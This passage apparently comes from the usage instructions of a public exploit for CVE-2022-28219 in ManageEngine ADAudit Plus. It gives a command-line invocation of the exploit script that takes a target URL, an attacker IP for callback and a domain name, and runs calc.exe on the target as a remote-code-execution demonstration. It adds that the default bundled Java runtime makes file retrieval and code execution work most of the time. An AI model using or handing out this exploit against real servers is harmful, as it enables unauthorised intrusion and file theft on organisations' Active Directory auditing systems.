Or to run calc.exe on the target:

python3 CVE-2022-28219.py -t <target_url> -l <attacker_ip> -d <target_fqdn> -c calc.exe

Note file retrieval and RCE requires ManageEngine ADAudit Plus to be running on Java runtime 8u121 or below. This will be true most of the time as the default Java runtime version bundled with ADAudit Plus is 8u051.
